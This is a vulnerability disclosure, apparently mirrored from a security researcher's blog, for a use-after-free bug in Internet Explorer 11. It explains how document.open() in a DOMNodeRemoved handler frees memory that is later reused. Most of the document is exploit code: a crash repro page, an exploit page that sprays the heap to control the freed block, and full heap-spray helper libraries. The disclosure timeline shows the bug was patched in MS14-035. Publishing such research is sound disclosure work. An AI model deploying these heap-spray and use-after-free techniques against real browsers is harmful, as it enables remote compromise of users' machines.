<!--
Source: http://blog.skylined.nl/20161220001.html
Synopsis
A specially crafted web-page can trigger a use-after-free vulnerability in Microsoft Internet Explorer 11. There is sufficient time between the free and reuse for an attacker to control the contents of the freed memory and exploit the vulnerability.
Known affected software, attack vectors and potential mitigations
Microsoft Internet Explorer 11
An attacker would need to get a target user to open a specially crafted web-page. Disabling JavaScript should prevent an attacker from triggering the vulnerable code path.
Details
This was one of the first bugs where I attempted to do a proper analysis, and I got some feedback from ZDI that explained what I got right and what I got wrong. Basically, on x86, a 0x28 byte memory block is allocated in MSHTML!CMarkup::DoEmbedPointers and when you execute document.execCommand("Delete"). This memory can be freed when you execute document.open() in a DOMNodeRemoved event handler. After that, you can use Javascript to reallocate the memory before it is reused.
Repro.html:
<!doctype html>
<html>
<head>
<meta http-equiv="X-UA-Compatible" content="IE=11">
<script type="text/javascript">
document.addEventListener("DOMNodeRemoved", function () {
document.open(); // free
// attempt to modify freed memory here
// because it will be reused after this function returns.
}, true);
window.onload = function () {
document.designMode="on";
document.execCommand("SelectAll");
document.execCommand("Delete"); // allocate
};
</script>
</head>
<body>
</body>
</html>
Exploit
After getting the feedback from ZDI that helped me understand the root cause, I attempted to write an exploit that the issue could be controlled and may be exploitable. I did not keep track of whether my attempts where successful, so the below code may not actually function. However, it should give you an idea on how one might go about writing an exploit for this vulnerability.
Sploit.html:
-->
<!doctype html>
<html>
<head>
<meta http-equiv="X-UA-Compatible" content="IE=11">
<script src="cLFHSpray.js"></script>
<script src="cBlockSpray.js"></script>
<script>
var aauCopiesAndSizes = [
[0x08, 0x80],
[0x08, 0x40],
[0x08, 0x20],
[0x10, 0x80]
];
var uBaseAddress = 0x12340000;
var aoBlockSprays = new Array(aauCopiesAndSizes.length);
for (var i = 0; i < aauCopiesAndSizes.length; i++) {
aoBlockSprays[i] = new cBlockSpray(aauCopiesAndSizes[i][0], aauCopiesAndSizes[i][1]);
aoBlockSprays[i].setChunkDWord(0x0100, uBaseAddress + 0x0300);
aoBlockSprays[i].spray();
}
document.addEventListener("DOMNodeRemoved", function () {
document.open();
var oLFHReuse = new cLFHSpray(10, 0x28);
oLFHReuse.setDWord(0x10, uBaseAddress + 0x0100);
oLFHReuse.setDWord(0x14, uBaseAddress + 0x0200);
oLFHReuse.spray();
}, true);
window.onload = function () {
document.designMode="on";
document.execCommand("SelectAll");
document.execCommand("Delete");
document.designMode="off";
};
</script>
</head>
<body>
</body>
</html>
<!--
########################################################################
cLFHSpray.js:
function cLFHSpray(uCount, uSize) {
this.aoElements = new Array(uCount);
var auSprayChars = new Array(uSize - 1 >> 1);
for (var i = 0; i < auSprayChars.length; i++) {
auSprayChars[i] = ((i & 0xFF) * 0x202 + 0x100) & 0xFFFF;
}
this.setDWord = function(uOffset, uValue) {
this.setWord(uOffset, uValue & 0xFFFF);
this.setWord(uOffset + 2, uValue >>> 16);
}
this.setWord = function(uOffset, uValue) {
this.setByte(uOffset, uValue & 0xFF);
this.setByte(uOffset + 1, uValue >>> 8);
}
this.setByte = function(uOffset, uValue) {
var uCharOffset = uOffset >> 1;
var uByte0 = (uOffset & 1 ? auSprayChars[uCharOffset] : uValue) & 0xFF;
var uByte1 = (uOffset & 1 ? uValue : (auSprayChars[uCharOffset] >> 8)) & 0xFF;
auSprayChars[uCharOffset] = uByte0 + (uByte1 << 8);
}
this.spray = function() {
var sSprayBuffer = String.fromCharCode.apply(0, auSprayChars);
for (var i = 0; i < uCount; i++) {
this.aoElements[i] = document.createElement("span"); // allocate 0x34 bytes
this.aoElements[i].className = sSprayBuffer; // allocate 0x10, uSize and 0x40 bytes.
}
}
}
########################################################################
cBlockSpray.js:
var cBlockSpray = (function() {
var uChunkSize = 0x10000;
var uBlockHeaderSize = 0x10;
var uBlockFooterSize = 0x04;
var asChunkTemplate = new Array(uChunkSize / 2);
for (var uIndex = 0; uIndex < asChunkTemplate.length; uIndex += 2) {
asChunkTemplate[uIndex] = String.fromCharCode(uIndex);
asChunkTemplate[uIndex + 1] = String.fromCharCode(0xDEAD);
}
return function cBlockSpray(uBlockCount, uChunkCount) {
this.uBlockSize = uChunkCount * uChunkSize - uBlockHeaderSize - uBlockFooterSize;
var sChunk = asChunkTemplate.join("");
var sBlock, asBlocks = new Array(uBlockCount);
this.setChunkDWord = function (uOffset, uValue) {
this.setChunkWord(uOffset, uValue & 0xFFFF);
this.setChunkWord(uOffset + 2, (uValue >> 16) & 0xFFFF);
}
this.setChunkWord = function (uOffset, uValue) {
if (sBlock) throw new Error("Cannot set chunk values after generating block");
if (uOffset & 1) throw new Error("uOffset (" + uOffset.toString(16) + ") must be Word aligned");
if (uOffset >= uChunkSize) throw new Error("uOffset (" + uOffset.toString(16) + ") must be smaller than 0x" + uChunkSize.toString(16));
var uIndex = uOffset / 2;
var sValue = String.fromCharCode(uValue & 0xFFFF);
sChunk = sChunk.substr(0, uIndex) + sValue + sChunk.substr(uIndex + 1);
}
this.generateBlock = function () {
if (sBlock) throw new Error("Cannot generating block twice");
sBlock = (
sChunk.substr(uBlockHeaderSize / 2) +
new Array(uChunkCount - 1).join(sChunk) +
sChunk.substr(0, (uChunkSize - uBlockFooterSize) / 2)
);
}
this.setBlockDWord = function (uOffset, uValue) {
this.setBlockWord(uOffset, uValue & 0xFFFF);
this.setBlockWord(uOffset + 2, (uValue >> 16) & 0xFFFF);
}
this.setBlockWord = function (uOffset, uValue) {
if (!sBlock) this.generateBlock();
if (uOffset & 1) throw new Error("uOffset (" + uOffset.toString(16) + ") must be Word aligned");
var uIndex = (uOffset - uBlockHeaderSize) / 2;
if (uIndex < 0) throw new Error("uOffset (" + uOffset.toString(16) + ") must be larger than 0x" + uBlockHeaderSize.toString(16));
if (uIndex >= sBlock.length) throw new Error("uOffset (" + uOffset.toString(16) + ") must be smaller than 0x" + (uBlockHeaderSize + sBlock.length * 2).toString(16));
var sValue = String.fromCharCode(uValue & 0xFFFF);
sBlock = sBlock.substr(0, uIndex) + sValue + sBlock.substr(uIndex + 1);
}
this.spray = function() {
if (!sBlock) this.generateBlock();
for (var i = 0; i < uBlockCount; i++) {
asBlocks[i] = ("" + sBlock).slice(0);
}
}
}
})();
Time-line
30 December 2013: This vulnerability was submitted to ZDI.
8 January 2014: This vulnerability was acquired by ZDI.
14 January 2014: This vulnerability was disclosed to Microsoft by ZDI.
10 June 2014: This vulnerability was address by Microsoft in MS14-035.
20 December 2016: Details of this vulnerability are released.
-->